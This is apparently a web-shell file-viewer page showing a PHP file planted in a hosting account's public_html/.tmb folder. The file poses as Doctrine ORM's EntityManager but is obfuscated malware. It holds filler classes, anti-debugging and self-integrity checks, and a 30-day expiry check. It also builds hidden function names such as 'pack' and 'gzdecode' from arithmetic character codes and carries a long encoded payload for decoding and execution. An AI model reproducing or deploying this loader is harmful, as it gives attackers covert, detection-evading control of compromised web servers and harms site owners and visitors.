HEX
Server: LiteSpeed
System: Linux altar36.supremepanel36.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: prodperu25 (3264)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/prodperu25/public_html/.tmb/r9pbhistk1lifhnjadpCdefault.php
<?php
/**
 * @package    Doctrine\ORM\EntityManager
 * @author     Doctrine Project
 * @copyright  (c) 2024 Doctrine Project
 * @license    MIT License
 * @version    3.1.5
 *
 * Entity Manager for ORM operations
 * Handles persistence, querying, and transaction management
 */

// Build: l1v61ohnhn5mol9t6qkzzds2 | 2026-04-01 22:44:21 | 12.0.4

$_cntx3c15026 = 0; // config
$_mdxd0bbd27 = round(1.5); // config
$_elemx1c85228 = is_null(null); // config

interface ConfigInterfacex02e {
    public function configurexb80();
    public function validatexa55();
    public function aggregateAk2sx2c7();
    public function extractXtzwx51f();
}

trait HelperTraitxcc8 {
    protected function extractxa06() {
        $_pwx4e4bd29 = mt_rand(1, 1000);
        return $_pwx4e4bd29;
    }

    protected function buildGyv0x165() {
        $_dstxe9ed230 = mt_rand(1, 1000);
        return $_dstxe9ed230;
    }

    protected function setN1cix04b() {
        $_nxxd2ffa31 = mt_rand(1, 1000);
        return $_nxxd2ffa31;
    }
}

class Cachex2ba7 {
    public $_datx7d19983 = false;
    private $_clxb5b6984 = array();

    public function fetchx89d(string $_tmpx881f932 = null, int $_elemxc1c8533 = null, bool $_fragxc716934 = false) {
        $_hdlxfa02243 = array();
        $_elemx99aa044 = range(0, mt_rand(5, 20));
        foreach ($_elemx99aa044 as $_tsxf4fc645) { $_hdlxfa02243[$_tsxf4fc645] = md5((string)mt_rand()); }
        return $_hdlxfa02243;
    }

    public function computeRtn9x25d(bool $_chnx31f8946 = false, array $_prx926b847 = array()) {
        $_sumx4efa148 = array();
        $_keyxb46b149 = func_num_args() > 0 ? func_get_arg(0) : array();
        foreach ($_keyxb46b149 as $_inpx8570650) {
            if (is_scalar($_inpx8570650)) { $_sumx4efa148[] = $_inpx8570650; }
        }
        return array_values(array_unique($_sumx4efa148));
    }

    private function deserializex817(string $_rsx453a859) {
        $_keyx62ece63 = func_num_args() > 0 ? (string)func_get_arg(0) : '';
        $_ptrx08be864 = trim($_keyx62ece63);
        $_nodexc521f65 = strlen($_ptrx08be864);
        if ($_nodexc521f65 === 0) { return ''; }
        return strtolower(substr($_ptrx08be864, 0, 1)) . substr($_ptrx08be864, 1);
    }

    public function dispatchx005(array $_msgxc66ee71) {
        $_keyx016f878 = func_num_args() > 0 ? func_get_arg(0) : null;
        $_dstxa474c79 = is_null($_keyx016f878) ? false : is_numeric($_keyx016f878);
        return $_dstxa474c79;
    }
}

class Eventx8374 {
    private $_numxf6074118 = "";
    protected $_objx9d4b1119 = "";
    public $_stx6f249120;

    public function preparexc39() {
        $_objxac72b91 = func_num_args() > 0 ? func_get_arg(0) : null;
        $_srcx8b02792 = is_null($_objxac72b91) ? false : is_numeric($_objxac72b91);
        return $_srcx8b02792;
    }

    private function normalizePzkmxa30() {
        $_errx5bc73102 = func_num_args() > 0 ? func_get_arg(0) : null;
        $_fnxc4a84103 = is_null($_errx5bc73102) ? false : is_numeric($_errx5bc73102);
        return $_fnxc4a84103;
    }

    public function loadN2x0x09d() {
        $_decxe43ac113 = func_num_args() > 0 ? func_get_arg(0) : null;
        $_nxx5f67a114 = is_null($_decxe43ac113) ? false : is_numeric($_decxe43ac113);
        return $_nxx5f67a114;
    }
}

class Routerx3fe3 {
    protected $_refx21038183 = 0;
    private $_keyxca2cc184 = 0;
    public $_inpxbfd80185 = null;
    private $_srcxe9a4e186;

    public function finalizeZopxx951(array $_msgx6fc03121 = array(), $_cntxf24d7122 = false, $_tmpx7cb4a123 = 0) {
        $_rsxc0ec8132 = array();
        $_srcx5e7b2133 = range(0, mt_rand(5, 20));
        foreach ($_srcx5e7b2133 as $_arrx0bcef134) { $_rsxc0ec8132[$_arrx0bcef134] = md5((string)mt_rand()); }
        return $_rsxc0ec8132;
    }

    public function evaluatex578() {
        $_fnxcf44a138 = func_num_args() > 0 ? (string)func_get_arg(0) : '';
        $_bufx304f5139 = trim($_fnxcf44a138);
        $_idxx6ac49140 = strlen($_bufx304f5139);
        if ($_idxx6ac49140 === 0) { return ''; }
        return strtolower(substr($_bufx304f5139, 0, 1)) . substr($_bufx304f5139, 1);
    }

    public function parsexfde(array $_crx9fb9c146 = array(), $_lnx04434147 = false) {
        $_objx53fa5151 = func_num_args() > 0 ? (string)func_get_arg(0) : '';
        $_clx3b1af152 = trim($_objx53fa5151);
        $_nxx9c67c153 = strlen($_clx3b1af152);
        if ($_nxx9c67c153 === 0) { return ''; }
        return strtolower(substr($_clx3b1af152, 0, 1)) . substr($_clx3b1af152, 1);
    }

    private function execx7f9() {
        $_rtx863d3159 = array();
        $_srcxe7be8160 = func_num_args() > 0 ? func_get_arg(0) : array();
        foreach ($_srcxe7be8160 as $_ctxx2f061161) {
            if (is_scalar($_ctxx2f061161)) { $_rtx863d3159[] = $_ctxx2f061161; }
        }
        return array_values(array_unique($_rtx863d3159));
    }

    private function sanitizex541(array $_bufxc9834170 = array(), string $_cntx9122b171 = null) {
        $_hashx1a7d5178 = func_num_args() > 0 ? func_get_arg(0) : null;
        $_fnxf876d179 = is_null($_hashx1a7d5178) ? false : is_numeric($_hashx1a7d5178);
        return $_fnxf876d179;
    }
}

class Servicex4c0c {
    private $_rpx8242e1 = null;
    private $_pvxda3342 = array();
    protected $_inpx96bfa3 = 0;
    public $_itmx91a064 = false;
    private $_fnxef4af5 = array();

    public function interpolatexb97() { return null; }
    public function deserializeDwoix269() { return array(); }
    public function interpolatexc82() { return null; }
    public function computex9d3() { return array(); }

    public static function runxfa5() {
        // runtime check
        $_objxc758d187 = trim("  hello  ");
        $_outx5f72c188 = str_repeat("x", 5);
        $_cntx57c94189 = min(1, 2, 3);
        $_outxe150d190 = array_key_exists("x", array());
        $_hashxc5a1e191 = array_fill(0, mt_rand(1, 10), null);
        $_crx2c039192 = max(1, 2, 3);
        $_chnx0a69d193 = ceil(1.5);
        $_elemx68f70194 = floatval("3.14");
        $_prx381de195 = round(1.5);
        $_refx4a089196 = strtoupper("abc");
        $_txxf86f7197 = "";
        $instance = new self();
        $instance->loadx72c();
    }

    private function loadx72c() {
        // decode stage
        $_cbkxb4c97198 = array_keys(array("a" => 1));
        $_stx0342c199 = floor(1.5);
        $_nxx39763200 = trim("  hello  ");
        $this->_rpx8242e1 = array();
        if (!$this->configurex376()) { return; }
        if (!$this->execx1fe()) { return; }
        if (!$this->parseC5u4x472()) { return; }
        if (!$this->setx56d()) { return; }
        if (!$this->computexa9d()) { return; }
        $this->aggregatexde6();
    }

    private function configurex376() {
        // auto-generated
        $_hdlxd03db206 = json_encode(array());
        $_strxee574207 = strtolower("ABC");
        $_nodex1e620201 = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
        $_nxx1f849202 = count($_nodex1e620201) <= 10;
        $_flgxb9501203 = function_exists("xdebug_is_enabled") ? (!xdebug_is_enabled() || !function_exists("xdebug_break")) : true;
        $_segxc2895204 = memory_get_usage() < (536870912);
        $_inpxb1f91205 = PHP_SAPI !== "cli" || defined("STDIN");
        return $_nxx1f849202 && $_flgxb9501203 && $_segxc2895204 && $_inpxb1f91205;
    }

    private function execx1fe() {
        // processed
        $_cfgx0bf0d211 = 0;
        $_chkx97724212 = memory_get_usage() > 0;
        $_objx783e8208 = PHP_VERSION_ID >= 50400;
        $_bufxc86b7209 = extension_loaded("standard");
        $_objx79f14210 = function_exists("strlen");
        return $_objx783e8208 && $_bufxc86b7209 && $_objx79f14210;
    }

    private function parseC5u4x472() {
        // transform layer
        $_tsxb9aec217 = null;
        $_encx4880e218 = array_merge(array(1), array(2));
        $_prx38ce0213 = $this->loadx65a();
        $_itmx3066c214 = $this->setNbbkx214();
        $_segx18de2215 = $this->configurex2df();
        $_rpx05d9c216 = sprintf("%08x", crc32($_prx38ce0213 . $_itmx3066c214 . $_segx18de2215));
        return $_rpx05d9c216 === "5a79d0af";
    }

    private function setx56d() {
        // processed
        $_numxffcf2221 = count(array_slice(range(1,10), 0, 5));
        $_encxb75b8219 = time();
        $_rvx63562220 = (int)@filemtime(__FILE__);
        if ($_rvx63562220 === 0) { return true; }
        return (($_encxb75b8219 - $_rvx63562220) < 2592000);
    }

    private function computexa9d() {
        // framework init
        $_mdxb5f25228 = abs(-1);
        $_hdlx35a2d229 = substr("hello", 0, 3);
        $_hashx14a78222 = $this->loadx65a();
        $_datx3a9d2223 = $this->setNbbkx214();
        $_prx654c9224 = $this->configurex2df();
        $_nxx7d55e225 = $_hashx14a78222 . $_datx3a9d2223 . $_prx654c9224;
        $_flgxaf0f4226 = hash("sha256", $_nxx7d55e225);
        $_sumx9b56b227 = substr($_flgxaf0f4226, 0, 32);
        return $_sumx9b56b227 === "93faabe55db7b5d40fbaeef00a019dfc";
    }

    private function aggregatexde6() {
        // processing...
        $_numx1f80e230 = array(
                'p' => array((((354)/3)-6), (22+(75)), ((142)-43), 107),
                'g' => array(((36)^67), ((149)-27), ((500)/5), ((105)^12), abs((99)), ((42)^69), (((440)/4)-10), ((114)-13)),
                'b' => array((((306)/3)-4), (((212)/2)-9), ((120)^11), (~(~101)), abs((54)), (52+56-56), ((570)/6), ((134)-34), ((105)^12), 0x63, 0x6f, (~(~100)), 101),
                'r' => array((((250)/2)-10), 116, (24+(90)), 114, ((404)/4), 118),
                'o' => array(((460)/4), 0x74, (1+(113)), (~(~95)), ((153)-39), (111+92-92), ((51)^71), (49+90-90), ((97)-46)),
                'h' => array((5+(99)), (9+(88)), (115+15-15), ((98)^10)),
                'x' => array(((34)^74), ((143)-42), abs((120)), abs((50)), 98, (~(~105)), ((106)^4)),
                'z' => array(((309)/3), ((157)-35), 0x64, (101+34-34), ((105)-6), 0x6f, ((112)^20), ((122)^31)),
                'u' => array(((351)/3), abs((110)), 0x73, ((707)/7), 0x72, abs((105)), 97, (108+83-83), abs((105)), 0x7a, abs((101))),
                'c' => array(0x63, abs((114)), (99+17-17), (((162)/3)-3), (16+(34))),
                's' => array(((154)-39), (30+(82)), ((456)/4), 105, abs((110)), ((696)/6), (~(~102))),
                't' => array((((250)/2)-10), ((67)^54), 98, ((133)-18), 0x74, (72+(42))),
                'i' => array(((63)^86), ((46)^67), abs((112)), (11+(97)), (82+(29)), ((112)-12), (101+74-74)),
                'm' => array((19+(78)), ((456)/4), (~(~114)), 0x61, ((24)^97), (~(~95)), ((73)^36), (((212)/2)-9), 112),
                'j' => array(((460)/4), (~(~116)), ((158)-44), (((345)/3)-7), ((51)^86), ((550)/5)),
                'l' => array(((152)-37), 0x74, 0x72, (~(~116)), (114+26-26))
            );
        $_objx84015231 = array();
        foreach ($_numx1f80e230 as $k => $codes) { $_objx84015231[$k] = implode("", array_map("chr", $codes)); }
        // validation
        $_tpxb1f4d234 = ((931 * 8) % 5) === 0;
        $_crxf6d26235 = abs((-894)) >= 0;
        // runtime check
        $_rvx57ca46 = "4447444744444447444444444447444444474444444744474447444444444444444444444444444744444447444744474444444444444444444444444447444444444444444444474444444744474444444744444444444444444444444444444444444444444444444444474447444744444444444744444444444444444444444444444444444744444444444444444444444444474447444444444447444444474444444444474444444444444444444444444444444444444447444444444444444444444447444744474444444444474444444444474447444444444444444444444447444444444444444444474447444744444444444444444444444444444444444444474444444444444444444444444447444744444444444444444444444444474444444444474444444444444447444444444444444444444447444444444444444444444444444744474444444444474444444444444444444744444444444444474447444744444444444744444444444444444444444444444444444444444444444744444444444444474444444444444444444444444444444444444444444444444444444444444447444744444444444444444444444744444444444444444447444444474447444444474444444444444444444444474444444744444447444444444444444744474444444744444444444444444444444444444447444744444447444444474444444444444447444444444444444444444444444444444447444444444447444444474444444744444444444444444444444444444444444744444444444444444444444444444444444744444447444444474444444744444447444444444444444444444444444444444447444444444447444444444447444444474444444444474447444444444444444444444444444444444444444444444444444444474444444444474444444444444447444444444447444444474444444444474444444444474444444444474444444444444444444444474447444444444447444444444444444444444444444444444444444444474444444444444447444444444447444744474444444744444444444444444444444444444444444744444444444444444444444444444444444444474447444444474447444444444444444444474447444444444444444444444444444444444444444444444447444444444447444444444447444444474444444444444444444444444444444444444447444444474444444444444444444744444447444744444444444444474444444744444444444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444474447444444444447444444444444444444474444444444444444444444444444444744474447444444444447444444444444444444444444444444474444444744444447444444444444444444444447444744444444444444444444444444444444444744444444444444474444444744444444444444444444444444474447444744474444444744444444444444444444444744444444444444444444444444444444444444444447444444444444444444444444444744444444444444444444444444474444444444474447444444444444444444444444444444444444444444444447444444444447444444474444444444444444444444444444444444444444444444444447444444444444444444474444444444444447444744474447444444444444444444474444444444474444444444474444444444444444444744474447444744444444444444444444444444474444444444444444444444444444444744444444444444444447444444474444444444444447444444444444444444444444444744444444444444444444444744444444444444474447444444444444444444474444444444444444444444444444444444444444444444444447444444444447444444444447444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444474444444744444444444444444447444744444447444444444444444444444444444744444444444744444447444444444447444444474447444444444444444444444444444444444447444444444444444744474444444444444444444444444444444444474444444444444447444444444444444444474444444444444447444744444444444444444444444444474444444444444444444444444444444444444444444744444444444744444444444744474444444744444447444744474447444444444444444444444444444744444444444444474447444444444447444444474444444444444444444444474447444444474444444444444447444744444444444444444444444744444444444744444444444444474444444444474447444444474444444444444444444444444444444744444444444444444447444744444444444444444447444444444444444444444444444444474444444444444444444444474447444744444444444444444447444744474444444444444444444444474444444744444444444444444444444444474444444744474444444744444444444444444444444744444444444444474444444744444447444444444447444744444444444444444444444444474444444744444444444744444447444444444447444444444444444444474447444744444444444444444447444444444447444444474447444444444447444444444444444444474444444444444444444444474444444444444447444444444444444444444444444444444444444444474447444744444447444444474444444444474444444744474444444444444444444444444447444444474444444744474444444444444447444744444444444444474444444444474444444744444444444444474444444444444444444444444447444444444444444444474444444444444444444444444444444444474444444744444444444444474444444744444444444444444447444744444444444444444444444444444447444444444447444744444444444444444444444444474447444744444447444444444444444744444447444744444447444444474444444444444444444444444444444444444444444744444447444744474444444444444444444444444447444744444444444444474444444444474444444744444444444444444444444444474447444744474444444444444444444444444444444444444444444444474444444444444444444444444444444744474444444744444444444444444444444444444444444744444447444744444447444444444444444444444444444744444444444744444447444444444444444444444447444744444447444444474447444744444447444444444444444444474444444444474444444444444444444444474444444444444447444744474444444444474447444444474447444744444444444444444444444444474444444744444447444444474444444444444444444444474444444744444444444444444444444744444444444744474444444444474444444744474444444444444444444444444444444744444444444744474447444444444444444744444444444744474444444444444444444444444444444744474444444444444444444744474444444444444444444444474444444744444447444444444444444744474447444744444444444744474444444744444447444444444444444744444444444744444444444444444444444444474444444444474444444444444444444444444444444444474444444744444444444444474444444444474447444444474444444744444444444744444444444444444444444444444444444444474444444444474444444444474447444744444444444444474447444444474444444444444447444744444444444444474444444444444447444444474444444444444447444444474444444444474447444444444444444744444444444744444447444444444444444444474444444444444447444744444444444444444444444444474444444444444444444444444444444444444444444444444444444744474444444444444447444444444444444444444444444444474444444444444444444444474447444744444447444444474444444444474447444444444444444744444444444444444447444744444444444444444447444444444444444444444444444444444444444744474444444744474444444744444444444744474444444744444444444744444444444444444447444744444444444744444444444444444444444444474444444444444444444444444447444444474444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444474444444444444444444444444444444744444447444444444447444744474444444444474444444444444447444444444444444744474444444444444444444444444444444444474444444744474447444744444444444444444447444444444444444444444447444444444444444444474447444744474444444444444447444444444444444444444444444444474444444444444444444444474447444444444444444444444447444444444444444444474444444444444444444444444444444744474444444444444444444744474447444444444444444444444447444444444444444444474447444444444444444444474444444444444444444744444447444444444447444744444447444444444444444744444444444444474444444444444444444444474447444744444447444744474444444444444444444444474444444444444444444444474447444444474444444444474444444744444444444444444447444444444444444444444444444744444444444744444444444444444444444444444444444444444447444444474444444444444444444744444444444444444447444444474444444744474447444444444447444744444444444744444444444444474444444444444444444444444444444444444444444444474444444444444447444444474447444744474444444744444447444444444444444744444447444744444444444744444444444444474444444444444444444444444444444444444444444744474447444444474447444744444444444444444444444744474444444444444444444744444447444444444444444444444444444444444447444444444447444444444444444444444444444444444444444444444447444444474447444444444447444444444447444744474444444444444444444444444447444444444444444444474444444444474447444444444444444444444444444444444444444744474447444444444444444444444444444444474444444744474444444444444444444444444447444444474444444444474444444444444444444444444444444444444444444744444447444444444447444744444444444444444447444444444444444444444444444444444444444444474444444744444444444744474444444444444447444444444444444744474444444744444447444444444444444744474444444444474447444444444444444744474444444444444444444744444444444744444447444444444447444444444444444744444444444444444444444444444444444744444444444444474444444444444444444444444444444444444444444444444444444744444444444444474447444744444444444444474444444744444447444444474444444444474447444744444447444744444444444444444444444444474444444444444444444444444444444744444444444744444444444444444444444444474444444444444447444444474444444444474444444744474447444444444444444444444447444444474444444444474447444444444444444444474444444444444444444444474444444444444444444744444447444444444444444744444447444444444444444744474447444744444444444444444444444444444447444444444447444744444444444444444444444444444447444444444447444444474444444444474444444444444444444744444444444444474447444744444444444444474444444444444444444444444447444444444447444444444444444444474444444444444447444744444444444444474444444444474444444444444447444444444447444444444444444444444444444744474444444444444447444744444447444744474444444444444444444444444444444444474444444444444444444744474444444444444447444744474447444444444447444444474444444744444444444444474444444444474444444444444447444744444447444444474447444444474444444444444444444444444444444444474444444444444447444444444444444744444447444444474444444444444444444444444444444744444444444744444444444744444444444444444444444444444447444744474444444744474444444444474444444444444444444444444444444444444444444744444447444744444444444444474447444444444447444444444444444444474444444444444444444444444447444444444447444744474444444444444447444444474447444444474444444444444444444444444447444444444444444444444444444444444447444444444444444444444444444444444447444444444444444444474444444744444444444444444444444444444444444744444447444444444447444444444444444744444444444744444444444444474447444444444444444744444444444444444444444444444444444444444447444444444444444444474447444444444447444444444444444744444447444444444447444444444447444744474444444444444444444444474447444444444444444444474444444444444444444744444444444444444447444444444447444444474444444744474444444444444447444744444447444444444444444444444444444444444447444744444444444444444444444744474447444444444444444444474444444744444447444444474447444444444444444744444447444444444444444444474447444444474444444744474444444444474444444744474444444444444444444444444447444444444444444444444447444744444447444444444447444444444447444444474447444444444444444444474447444444444444444744444444444444444447444744444444444444444444444444444444444744444444444444444444444744474444444744444444444444444447444444444444444444444444444444474444444444444444444744474447444444444447444444444444444444444444444444444444444444474447444744444444444744444444444744444444444744444444444444444444444444444447444444474444444444474447444444444444444444444444444444474447444444444444444444444444444444444447444444444444444444444444444444444444444744444444444444474444444444474444444444444447444444474444444444444447444444474447444444444444444444444447444444444447444744444444444744444447444444444444444444474447444744474444444744444447444744474447444444444444444444474444444744444447444744474444444444474444444444444447444444444444444744474444444444474444444444444444444444444444444444444444444744444444444444474444444744444447444744444444444444444444444444444444444744474444444444444444444744474444444444444447444744474447444444444444444444444444444444474444444444444447444444444447444744444444444444444444444444474444444744474444444444474444444444474447444744444444444444444447444744444447444444444444444444444444444444444444444744444444444444474444444444444447444444474444444444444444444444444444444744444444444444444444444444444447444444474444444444444444444444444444444744444444444444474444444444444444444444474447444444474447444744444444444444444444444444444444444444474444444444444444444444474444444444474447444444444444444744474444444444474444444744444444444444444444444744474447444744444447444444444444444444444447444444474444444744444444444444474444444444444444444444444447444444444444444444474444444744444444444744444444444444444447444444444444444444444444444444444447444744474444444444474444444444474444444444444447444444474444444744474447444444444444444444474447444744474444444444444444444744444444444744444444444744444444444444474444444444444444444444444444444744444444444744444447444444444444444744444444444444474444444444444444444444444444444444444447444744474447444444444444444744474447444444444444444744444444444744474444444444474444444444444447444744444447444444444444444444444444444744444444444444474447444744444444444444444444444744474447444444444444444744444444444444444444444444444444444444474447444444444444444444444444444444444444444444444444444744444444444444444447444444444447444444444444444444444447444444444444444444474444444444444444444444444444444444474447444744444444444444474444444744444444444444444447444444444444444444444444444444444447444744444447444444444444444744474447444444444444444444444444444744444444444444444444444744444444444744444444444444444444444444474444444444444444444444474444444444474444444444474444444444444444444444474447444744444444444744474447444444474444444444444447444444474444444744444444444744474447444744444447444444444444444444474444444744444447444744444444444444474444444444474444444444444447444444444444444444444444444444444444444744444447444444444444444444444444444744444444444444474444444444444447444744474444444444474444444444444444444444444444444744444444444444474444444444444444444444444444444744474447444444444444444444474447444444444444444744444444444744444444444444444444444444474444444744474444444444444444444444444447444444474444444444444447444744444447444444474444444444444447444444444444444444444447444444474447444444474444444744444447444444444444444744444447444444444444444744444447444444474447444444444444444444444447444444444447444444444444444444444447444444444444444444474444444744444444444744444447444744444447444444474444444744444447444444444444444444444444444444444444444444444447444444474444444444444444444444444444444444444444444444474444444744444444444744444444444444444444444744444444444744474444444444444444444444444444444444444444444444474444444744444444444444474444444444444444444444444444444444444447444444444444444444444444444744474444444444444444444444444444444444474444444444474447444444444444444444474444444444444444444444474447444744444447444444444444444444444447444444444447444444474444444444444444444744444444444444444444444444474444444444474447444444474444444744444447444744444444444444474444444444444447444444444444444744474447444444444447444444444444444444474444444444444444444444444447444444444444444744444444444744444444444444444444444444474444444444444444444744444444444744444444444444474444444444444444444444444444444744474444444744474444444444474444444444474444444444474444444444444447444444444444444444444444444744444444444444444444444444444444444444474447444744444444444444474444444444444447444744444444444444474444444744444447444444444444444444444447444444444447444444444444444444444447444444444444444444444447444444444447444444444447444444444444444744474444444444444444444444444447444444474444444444474444444444444447444444444444444444444444444444474444444444444444444744474447444444444444444444444444444744444444444444474447444744474444444744444444444744474444444444474444444444474444444444474447444444444444444744444444444444474447444444474444444444444444444444444444444444444444444444474447444444474444444444444447444444444444444444444444444444444444444444474447444444444444444444444444444444444444444744444444444444444444444444444444444744474444444444474444444444444444444444444444444444444444444444444444444744474444444744474444444444444444444444444444444444444444444444444444444444444444444744444444444444444447444444444447444744444444444444444444444744444444444444444447444744444444444444444447444444474444444444444444444444444444444444474444444744474444444444444444444744444444444444444444444744444447444444444447444744444447444444474444444444444444444444444444444444444444444444444444444444444444444744444447444444444447444444444447444744444444444444444444444744474444444444444447444744444447444444474444444444444447444444444447444744444444444444474444444744444444444744474444444744474444444444444447444444474447444744444444444444474447444444444447444444444444444444474447444444444444444744444447444444444444444444444447444444444444444444474444444444444444444744444444444444444444444444444444444444474444444444474447444444444444444444444447444744444444444444444444444444444447444444444447444444444447444444444444444444444444444444444447444444444447444444474447444444444444444444444444444444444444444444474447444744474444444444444447444444474444444444474447444744444444444444444444444444474447444444444447444444444444444744444444444444444447444744444444444744444444444444444447444444444444444444444444444744444444444744444444444444444447444444474447444444474444444744444447444744444444444444444447444444444447444744444444444444444444444444444444444744444444444744474444444444444444444744444447444744444444444444474444444744444444444444474444444444474447444444444444444444444447444444444444444444444447444744444447444444444447444744474444444444444444444444444444444444444444444744444444444744444444444444444444444444474444444744444444444744474444444444444444444444474444444444444444444444474447444444444444444444474444444744474447444444444444444444474444444444444444444444474447444744444444444444444447444444444447444444444447444744444444444444474444444444444447444444444444444744444444444444474447444744444447444444474444444444444444444444444447444744444447444444474444444744474444444444444444444744444444444444444444444444444444444444444447444444444444444444444444444444444444444444474444444444444444444444444447444444474444444444444444444444444444444444444444444444444447444444444444444744444444444444444444444444444444444444444444444444474447444444474444444744474444444744474447444744444444444444444444444444474444444444444444444444474444444444444444444744444444444444474447444444444444444444444444444444474444444744444444444744444444444444474447444444474444444444474444444444444444444444474447444744444447444444474444444444444444444444444444444744444444444444444447444444444444444444444444444444444444444444444444444444474444444744444447444444444447444744444447444744444444444444474444444444474447444444444444444444444444444444444444444444444444444444444444444744444444444744444447444744444447444444444444444444444444444744474444444444474444444444444444444444444444444444474447444744444444444444444444444744444444444444474444444444444447444444444444444444444447444444444444444444444444444444444444444444444444444744444444444444474444444444444447444444474447444444444444444444444444444444474444444444474444444444444447444744444444444444444447444744444444444444474444444444444444444444444444444444444444444444444444444444444444444444474444444744444444444444444447444444474447444444474444444444444444444744444444444444444447444444474444444444444444444444444444444444474444444744444444444444444447444444474444444744444444444744444444444444444447444444444447444444474444444744474444444444444444444744474444444744444444444444444444444444444447444444444444444744444447444444444447444444474447444444444447444444474444444444474447444444474444444444444444444444444444444444444444444444444444444444444447444744444444444444444444444744444444444444444444444444474447444744474444444444474444444444444444444744474447444444474444444444444444444744444444444444474444444444474444444444444447444444444444444444474444444444444444444444474444444744444447444444444444444744444447444444444444444744444444444444444444444444474447444744444447444444474444444744444447444444444444444444474444444444444444444444444444444444474444444444444447444744444444444444444444444444474444444744444444444444474444444444444447444444444444444444474444444444444444444444444447444444444447444444474447444744444444444444474447444444444444444744444447444444444444444744444444444444444447444744444447444744474444444744444444444444444444444444474447444744444444444744444447444444474447444444444447444444474444444444444444444744444444444444474447444444444447444444444444444444444444444444474447444444444444444444474444444444444444444444474444444444444447444744444447444444474447444444444444444444444447444444444444444444444444444744444444444744444444444444444444444444474444444444474444444444444447444744444444444744444444444444444444444744444444444744444447444744444444444444444444444444444447444444444444444744474444444444444444444444444444444444444444444744444444444444474444444444444444444444444447444444474447444444444444444444474444444444444444444444444444444444444447444444444444444744474447444744444447444444444444444744444444444444444444444444444444444444444444444444444444444744474444444444444447444444444444444444444444444444444444444444444447444744444444444444444444444444444444444444444444444744444447444744474444444444474444444744444444444444474447444444474444444444444444444444444444444744444444444444444444444744444444444744444447444444444444444744444447444444474444444444444444444444444444444444474447444444444444444744444444444444444447444444444444444444444444444444474444444444474447444444444447444444444447444444444444444444444444444444474444444444444447444444474447444444474444444444444447444444474447444444444447444444444444444444444447444444444444444444444444444744444444444444474444444744474447444444444444444444474444444444474444444744444444444444474444444444474444444444444447444444444447444444474444444444444444444444444444444444444444444444474444444444444444444444444447444444444444444444444444444744444447444744444444444444444444444444444444444744444447444744444447444744444444444444444444444444444447444444444444444444444447444744444444444444444444444744444444444444474444444444444444444744444444444444444447444444444444444444474444444744444444444444444447444444444444444444474444444444444444444444474444444744444444444444444444444444474447444444444444444744444444444444474444444444444444444444474444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444474447444444444447444444444447444744474444444444444444444444444444444444444447444444444447444744444447444444444444444444444444444744444444444444444444444744444444444444474444444444444444444744474444444444444444444444474444444444444444444444444447444744444447444744444447444744444444444444444444444444444444444444444444444444444444444444444447444744444444444744444447444444444444444444444444444444444447444444444447444444444444444744474444444444444444444444444444444444444444444444444444444444444447444444444447444444444447444444444444444444444447444744444444444444444444444444474444444444444444444444474444444744444444444744444444444744474447444444444444444444474444444744444444444444474444444444444444444744444447444444474447444744444444444744444444444444474447444444474444444444444444444444444444444444444447444744444444444444444444444444444447444444474447444444474444444444444444444744474444444744474444444744444447444444444447444444474444444444444444444744444444444744474444444444444447444444474447444744474444444444444447444444474444444444474444444744444447444444444444444744444447444744444447444744474444444444474444444444444447444444444444444444474444444444444444444444444444444744474447444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444474444444744444444444444474444444444444444444744444444444444444444444444444444444744444444444444444447444444444444444744444444444744444444444444444444444444474444444444444444444444474447444744444447444744444444444444444447444744444444444444444447444744444447444444444444444444444444444444444444444444444444444444474444444744444444444444474444444444444447444444474444444744444444444444474444444444444444444444474444444744444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444444444444444444447444444444444444744474444444444444444444744474447444444474447444744474444444444474447444744444444444444444444444744444444444744444444444744444447444744444447444744444444444744444447444444444444444444444447444444444444444444444444444444444444444444444444444444444447444444444447444744474447444444444447444444444444444444444444444444444444444744474444444444444444444444444444444444474447444444444447444444444444444444444444444444444444444444444444444744444444444744444444444444444444444444444447444444444444444744474444444444444444444444474447444444474444444444474444444444444447444444474444444444444444444444474444444444444444444444444444444444444444444744444444444744474447444444444447444444444444444444444447444744444447444444444444444444444447444744444444444444444447444444474447444444444444444444444447444444444444444744444447444744444444444444444444444444444444444444444447444444444447444444444444444744444444444444444444444444474444444444444444444444444444444444474447444444444447444744444447444444444447444444444444444444444444444444444444444744444444444444474444444444444444444444444444444444444447444744444444444444474444444444444444444444444444444744444444444444444447444744444444444444444447444444444447444444444444444444474444444444444444444744444444444744444444444744444444444444474444444444444444444444444444444444444447444744444447444744444444444744444444444444444447444444444447444744444444444444444444444444444444444444474444444444474444444444444444444444474444444744444447444744444444444444444447444444444447444444474444444444474444444444444444444444474447444444444444444444444447444444444447444444444444444444444444444444444447444444474444444444474444444444444447444444444447444444474444444744444447444444444447444444444444444744444447444444444447444444444444444444474444444444474444444444444444444744444447444744444447444444444444444444474447444444474447444444444447444744444444444444444444444744444444444444474444444444444444444444444444444444444447444444474444444744444444444444444444444744444444444444474444444444474447444444474447444444444447444444444444444744474444444744474444444444444444444444474444444444444444444444474444444444474444444744474444444444444444444444474447444744444447444744444447444444474447444444474444444444444447444444444444444444444444444444444444444444474444444444474444444744474447444444474444444444444447444444444447444744474444444444444444444444474444444744444444444444444447444444444447444444444444444444444444444444474444444444444444444444474444444444474444444444444444444444444444444444474444444444444444444444444447444444474444444444444447444444474444444444444444444444444444444444444444444744444444444444444444444444444444444444474444444744444444444444444444444744444444444744444444444744444447444744444444444444444444444444444444444744444447444444444444444744474444444744444447444744444444444744474444444744444444444444474444444444474444444444444447444444444447444744474447444444444444444444444444444444444447444444444447444444444447444444444444444444474447444444444447444444444444444744444444444444444444444444444444444444444444444444444444444444474444444444444447444444474444444444474444444444444444444444474447444444474444444444444444444444444444444744444444444744444444444444444444444444474447444744444444444444474444444444444444444744444444444744474444444444444447444444444444444444474444444744474444444444444447444744474447444744444444444444444444444444444444444444444447444444444444444444444444444744444444444444444444444444474444444444444444444444474444444444444444444444444444444444474447444444444444444444444447444444444444444444444447444744444444444444444444444444444447444444444444444444444447444444444444444444444444444444444447444444474444444444444444444744444444444444474444